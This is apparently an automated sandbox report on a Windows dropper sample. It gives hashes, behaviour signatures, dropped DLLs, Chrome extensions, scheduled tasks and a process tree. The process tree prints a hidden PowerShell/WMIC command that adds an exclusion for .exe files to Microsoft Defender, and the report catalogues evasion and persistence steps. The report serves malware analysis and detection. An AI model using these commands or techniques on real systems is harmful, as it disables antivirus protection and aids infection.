Analysis
-
max time kernel
186s -
max time network
256s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
25-04-2024 02:06
Static task
static1
Behavioral task
behavioral1
Sample
49c60debd7513ca11d1620fb7b298e491717a78a88fece9833eadca08fa20a7a.exe
Resource
win7-20240215-en
General
-
Target
49c60debd7513ca11d1620fb7b298e491717a78a88fece9833eadca08fa20a7a.exe
-
Size
6.7MB
-
MD5
a134c160036c6542be45ba9fc2d8132d
-
SHA1
d029bc9dd75936b64e007fe638c26a4fcc0fb1c3
-
SHA256
49c60debd7513ca11d1620fb7b298e491717a78a88fece9833eadca08fa20a7a
-
SHA512
b014a271fe2431905c0698fb442f91d7d936b97df17912c2068607ff36f72bb3e3344153f90b910248b4ff82681527347bc0575a7b73ae64a8e9b637137f6f41
-
SSDEEP
196608:91OT2zjVpYD8vDwJmaHxbS2Os9qP0eEVV2:3OT2tpRvDqRbhOZ0fVV2
Malware Config
Signatures
-
Blocklisted process makes network request 1 IoCs
Processes:
rundll32.exeflow pid process 31 2220 rundll32.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
Install.exerundll32.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion rundll32.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
kkJMLIw.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000\Control Panel\International\Geo\Nation kkJMLIw.exe -
Executes dropped EXE 3 IoCs
Processes:
Install.exeochUtLq.exekkJMLIw.exepid process 316 Install.exe 1632 ochUtLq.exe 4388 kkJMLIw.exe -
Loads dropped DLL 1 IoCs
Processes:
rundll32.exepid process 2220 rundll32.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops Chrome extension 2 IoCs
Processes:
kkJMLIw.exedescription ioc process File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json kkJMLIw.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json kkJMLIw.exe -
Drops desktop.ini file(s) 1 IoCs
Processes:
ochUtLq.exedescription ioc process File opened for modification C:\$RECYCLE.BIN\S-1-5-18\desktop.ini ochUtLq.exe -
Drops file in System32 directory 33 IoCs
Processes:
powershell.exekkJMLIw.exepowershell.exeochUtLq.exepowershell.exerundll32.exedescription ioc process File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 kkJMLIw.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat kkJMLIw.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content kkJMLIw.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 kkJMLIw.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 kkJMLIw.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA kkJMLIw.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 kkJMLIw.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F3258A5B11F1178F530EE7A0197D8F15 kkJMLIw.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA kkJMLIw.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_FAD4FA4BE5EA6E868132040E668F6C95 kkJMLIw.exe File created C:\Windows\system32\GroupPolicy\gpt.ini ochUtLq.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA kkJMLIw.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat rundll32.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache kkJMLIw.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA kkJMLIw.exe File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol kkJMLIw.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_F035812844FEE93DCDCC1CD3A7F24400 kkJMLIw.exe File created C:\Windows\system32\GroupPolicy\Machine\Registry.pol ochUtLq.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData kkJMLIw.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_1D54DE53BDE89F59AF362E74369EB397 kkJMLIw.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_FAD4FA4BE5EA6E868132040E668F6C95 kkJMLIw.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F3258A5B11F1178F530EE7A0197D8F15 kkJMLIw.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_1D54DE53BDE89F59AF362E74369EB397 kkJMLIw.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 kkJMLIw.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE kkJMLIw.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies kkJMLIw.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5 kkJMLIw.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft kkJMLIw.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_F035812844FEE93DCDCC1CD3A7F24400 kkJMLIw.exe -
Drops file in Program Files directory 14 IoCs
Processes:
kkJMLIw.exedescription ioc process File created C:\Program Files (x86)\qpZxqHvFKXpRC\tIDwgVF.xml kkJMLIw.exe File created C:\Program Files (x86)\OJLDvKxDU\gUDZUd.dll kkJMLIw.exe File created C:\Program Files\Mozilla Firefox\browser\omni.ja.bak kkJMLIw.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja kkJMLIw.exe File created C:\Program Files (x86)\OJLDvKxDU\BKIPaTw.xml kkJMLIw.exe File created C:\Program Files (x86)\jDcnSjPvYahU2\LguUiDwZMUcdc.dll kkJMLIw.exe File created C:\Program Files (x86)\zpJNjIVgFcEwVtLiUsR\nKRvvRn.dll kkJMLIw.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja.bak kkJMLIw.exe File created C:\Program Files (x86)\qpZxqHvFKXpRC\XfqIBhR.dll kkJMLIw.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi kkJMLIw.exe File created C:\Program Files (x86)\jDcnSjPvYahU2\KDGdCWa.xml kkJMLIw.exe File created C:\Program Files (x86)\zpJNjIVgFcEwVtLiUsR\HdqGWZQ.xml kkJMLIw.exe File created C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi kkJMLIw.exe File created C:\Program Files (x86)\vGrfpbVBjyUn\QcGiuVv.dll kkJMLIw.exe -
Drops file in Windows directory 4 IoCs
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exedescription ioc process File created C:\Windows\Tasks\bwrroZoeZRoQVpyAcj.job schtasks.exe File created C:\Windows\Tasks\qXnxKrbPbFSTFetyh.job schtasks.exe File created C:\Windows\Tasks\ZPVskaMeORyUtyn.job schtasks.exe File created C:\Windows\Tasks\EJKQCvUwFyvoZzoaf.job schtasks.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 10 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exepid process 5096 schtasks.exe 1280 schtasks.exe 2188 schtasks.exe 1148 schtasks.exe 2744 schtasks.exe 1556 schtasks.exe 3932 schtasks.exe 4200 schtasks.exe 1148 schtasks.exe 1088 schtasks.exe -
Enumerates system info in registry 2 TTPs 4 IoCs
Processes:
Install.exerundll32.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName Install.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS rundll32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName rundll32.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.exeochUtLq.exekkJMLIw.exepowershell.exepowershell.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket ochUtLq.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{38fc7460-0000-0000-0000-d01200000000} kkJMLIw.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ kkJMLIw.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\TelemetrySalt = "7" ochUtLq.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache kkJMLIw.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{38fc7460-0000-0000-0000-d01200000000} ochUtLq.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" kkJMLIw.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{38fc7460-0000-0000-0000-d01200000000}\MaxCapacity = "14116" ochUtLq.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" kkJMLIw.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" kkJMLIw.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe -
Suspicious behavior: EnumeratesProcesses 49 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.EXEkkJMLIw.exepowershell.exepid process 4920 powershell.exe 4920 powershell.exe 4920 powershell.exe 2224 powershell.exe 2224 powershell.exe 2224 powershell.exe 3908 powershell.exe 3908 powershell.exe 3908 powershell.exe 3156 powershell.EXE 3156 powershell.EXE 3156 powershell.EXE 4388 kkJMLIw.exe 4388 kkJMLIw.exe 4388 kkJMLIw.exe 4388 kkJMLIw.exe 4388 kkJMLIw.exe 4388 kkJMLIw.exe 4388 kkJMLIw.exe 4388 kkJMLIw.exe 4388 kkJMLIw.exe 4388 kkJMLIw.exe 4388 kkJMLIw.exe 4388 kkJMLIw.exe 4388 kkJMLIw.exe 4388 kkJMLIw.exe 4388 kkJMLIw.exe 4388 kkJMLIw.exe 4264 powershell.exe 4264 powershell.exe 4264 powershell.exe 4388 kkJMLIw.exe 4388 kkJMLIw.exe 4388 kkJMLIw.exe 4388 kkJMLIw.exe 4388 kkJMLIw.exe 4388 kkJMLIw.exe 4388 kkJMLIw.exe 4388 kkJMLIw.exe 4388 kkJMLIw.exe 4388 kkJMLIw.exe 4388 kkJMLIw.exe 4388 kkJMLIw.exe 4388 kkJMLIw.exe 4388 kkJMLIw.exe 4388 kkJMLIw.exe 4388 kkJMLIw.exe 4388 kkJMLIw.exe 4388 kkJMLIw.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exeWMIC.exepowershell.exepowershell.exepowershell.EXEpowershell.exeWMIC.exedescription pid process Token: SeDebugPrivilege 4920 powershell.exe Token: SeIncreaseQuotaPrivilege 2216 WMIC.exe Token: SeSecurityPrivilege 2216 WMIC.exe Token: SeTakeOwnershipPrivilege 2216 WMIC.exe Token: SeLoadDriverPrivilege 2216 WMIC.exe Token: SeSystemProfilePrivilege 2216 WMIC.exe Token: SeSystemtimePrivilege 2216 WMIC.exe Token: SeProfSingleProcessPrivilege 2216 WMIC.exe Token: SeIncBasePriorityPrivilege 2216 WMIC.exe Token: SeCreatePagefilePrivilege 2216 WMIC.exe Token: SeBackupPrivilege 2216 WMIC.exe Token: SeRestorePrivilege 2216 WMIC.exe Token: SeShutdownPrivilege 2216 WMIC.exe Token: SeDebugPrivilege 2216 WMIC.exe Token: SeSystemEnvironmentPrivilege 2216 WMIC.exe Token: SeRemoteShutdownPrivilege 2216 WMIC.exe Token: SeUndockPrivilege 2216 WMIC.exe Token: SeManageVolumePrivilege 2216 WMIC.exe Token: 33 2216 WMIC.exe Token: 34 2216 WMIC.exe Token: 35 2216 WMIC.exe Token: 36 2216 WMIC.exe Token: SeIncreaseQuotaPrivilege 2216 WMIC.exe Token: SeSecurityPrivilege 2216 WMIC.exe Token: SeTakeOwnershipPrivilege 2216 WMIC.exe Token: SeLoadDriverPrivilege 2216 WMIC.exe Token: SeSystemProfilePrivilege 2216 WMIC.exe Token: SeSystemtimePrivilege 2216 WMIC.exe Token: SeProfSingleProcessPrivilege 2216 WMIC.exe Token: SeIncBasePriorityPrivilege 2216 WMIC.exe Token: SeCreatePagefilePrivilege 2216 WMIC.exe Token: SeBackupPrivilege 2216 WMIC.exe Token: SeRestorePrivilege 2216 WMIC.exe Token: SeShutdownPrivilege 2216 WMIC.exe Token: SeDebugPrivilege 2216 WMIC.exe Token: SeSystemEnvironmentPrivilege 2216 WMIC.exe Token: SeRemoteShutdownPrivilege 2216 WMIC.exe Token: SeUndockPrivilege 2216 WMIC.exe Token: SeManageVolumePrivilege 2216 WMIC.exe Token: 33 2216 WMIC.exe Token: 34 2216 WMIC.exe Token: 35 2216 WMIC.exe Token: 36 2216 WMIC.exe Token: SeDebugPrivilege 2224 powershell.exe Token: SeDebugPrivilege 3908 powershell.exe Token: SeDebugPrivilege 3156 powershell.EXE Token: SeDebugPrivilege 4264 powershell.exe Token: SeAssignPrimaryTokenPrivilege 4772 WMIC.exe Token: SeIncreaseQuotaPrivilege 4772 WMIC.exe Token: SeSecurityPrivilege 4772 WMIC.exe Token: SeTakeOwnershipPrivilege 4772 WMIC.exe Token: SeLoadDriverPrivilege 4772 WMIC.exe Token: SeSystemtimePrivilege 4772 WMIC.exe Token: SeBackupPrivilege 4772 WMIC.exe Token: SeRestorePrivilege 4772 WMIC.exe Token: SeShutdownPrivilege 4772 WMIC.exe Token: SeSystemEnvironmentPrivilege 4772 WMIC.exe Token: SeUndockPrivilege 4772 WMIC.exe Token: SeManageVolumePrivilege 4772 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 4772 WMIC.exe Token: SeIncreaseQuotaPrivilege 4772 WMIC.exe Token: SeSecurityPrivilege 4772 WMIC.exe Token: SeTakeOwnershipPrivilege 4772 WMIC.exe Token: SeLoadDriverPrivilege 4772 WMIC.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
49c60debd7513ca11d1620fb7b298e491717a78a88fece9833eadca08fa20a7a.exeInstall.exeforfiles.execmd.exepowershell.exeochUtLq.exepowershell.execmd.exedescription pid process target process PID 4024 wrote to memory of 316 4024 49c60debd7513ca11d1620fb7b298e491717a78a88fece9833eadca08fa20a7a.exe Install.exe PID 4024 wrote to memory of 316 4024 49c60debd7513ca11d1620fb7b298e491717a78a88fece9833eadca08fa20a7a.exe Install.exe PID 4024 wrote to memory of 316 4024 49c60debd7513ca11d1620fb7b298e491717a78a88fece9833eadca08fa20a7a.exe Install.exe PID 316 wrote to memory of 1916 316 Install.exe forfiles.exe PID 316 wrote to memory of 1916 316 Install.exe forfiles.exe PID 316 wrote to memory of 1916 316 Install.exe forfiles.exe PID 1916 wrote to memory of 2200 1916 forfiles.exe cmd.exe PID 1916 wrote to memory of 2200 1916 forfiles.exe cmd.exe PID 1916 wrote to memory of 2200 1916 forfiles.exe cmd.exe PID 2200 wrote to memory of 4920 2200 cmd.exe powershell.exe PID 2200 wrote to memory of 4920 2200 cmd.exe powershell.exe PID 2200 wrote to memory of 4920 2200 cmd.exe powershell.exe PID 4920 wrote to memory of 2216 4920 powershell.exe WMIC.exe PID 4920 wrote to memory of 2216 4920 powershell.exe WMIC.exe PID 4920 wrote to memory of 2216 4920 powershell.exe WMIC.exe PID 316 wrote to memory of 3932 316 Install.exe schtasks.exe PID 316 wrote to memory of 3932 316 Install.exe schtasks.exe PID 316 wrote to memory of 3932 316 Install.exe schtasks.exe PID 1632 wrote to memory of 2224 1632 ochUtLq.exe powershell.exe PID 1632 wrote to memory of 2224 1632 ochUtLq.exe powershell.exe PID 1632 wrote to memory of 2224 1632 ochUtLq.exe powershell.exe PID 2224 wrote to memory of 4992 2224 powershell.exe cmd.exe PID 2224 wrote to memory of 4992 2224 powershell.exe cmd.exe PID 2224 wrote to memory of 4992 2224 powershell.exe cmd.exe PID 4992 wrote to memory of 4524 4992 cmd.exe reg.exe PID 4992 wrote to memory of 4524 4992 cmd.exe reg.exe PID 4992 wrote to memory of 4524 4992 cmd.exe reg.exe PID 2224 wrote to memory of 3936 2224 powershell.exe reg.exe PID 2224 wrote to memory of 3936 2224 powershell.exe reg.exe PID 2224 wrote to memory of 3936 2224 powershell.exe reg.exe PID 2224 wrote to memory of 1676 2224 powershell.exe reg.exe PID 2224 wrote to memory of 1676 2224 powershell.exe reg.exe PID 2224 wrote to memory of 1676 2224 powershell.exe reg.exe PID 2224 wrote to memory of 504 2224 powershell.exe reg.exe PID 2224 wrote to memory of 504 2224 powershell.exe reg.exe PID 2224 wrote to memory of 504 2224 powershell.exe reg.exe PID 2224 wrote to memory of 5112 2224 powershell.exe reg.exe PID 2224 wrote to memory of 5112 2224 powershell.exe reg.exe PID 2224 wrote to memory of 5112 2224 powershell.exe reg.exe PID 2224 wrote to memory of 2964 2224 powershell.exe reg.exe PID 2224 wrote to memory of 2964 2224 powershell.exe reg.exe PID 2224 wrote to memory of 2964 2224 powershell.exe reg.exe PID 2224 wrote to memory of 3332 2224 powershell.exe reg.exe PID 2224 wrote to memory of 3332 2224 powershell.exe reg.exe PID 2224 wrote to memory of 3332 2224 powershell.exe reg.exe PID 2224 wrote to memory of 3440 2224 powershell.exe reg.exe PID 2224 wrote to memory of 3440 2224 powershell.exe reg.exe PID 2224 wrote to memory of 3440 2224 powershell.exe reg.exe PID 2224 wrote to memory of 3624 2224 powershell.exe reg.exe PID 2224 wrote to memory of 3624 2224 powershell.exe reg.exe PID 2224 wrote to memory of 3624 2224 powershell.exe reg.exe PID 2224 wrote to memory of 3452 2224 powershell.exe reg.exe PID 2224 wrote to memory of 3452 2224 powershell.exe reg.exe PID 2224 wrote to memory of 3452 2224 powershell.exe reg.exe PID 2224 wrote to memory of 5092 2224 powershell.exe reg.exe PID 2224 wrote to memory of 5092 2224 powershell.exe reg.exe PID 2224 wrote to memory of 5092 2224 powershell.exe reg.exe PID 2224 wrote to memory of 4452 2224 powershell.exe reg.exe PID 2224 wrote to memory of 4452 2224 powershell.exe reg.exe PID 2224 wrote to memory of 4452 2224 powershell.exe reg.exe PID 2224 wrote to memory of 4416 2224 powershell.exe reg.exe PID 2224 wrote to memory of 4416 2224 powershell.exe reg.exe PID 2224 wrote to memory of 4416 2224 powershell.exe reg.exe PID 2224 wrote to memory of 4700 2224 powershell.exe reg.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\49c60debd7513ca11d1620fb7b298e491717a78a88fece9833eadca08fa20a7a.exe"C:\Users\Admin\AppData\Local\Temp\49c60debd7513ca11d1620fb7b298e491717a78a88fece9833eadca08fa20a7a.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS5F56.tmp\Install.exe.\Install.exe /udidsSJaq "525403" /S2⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
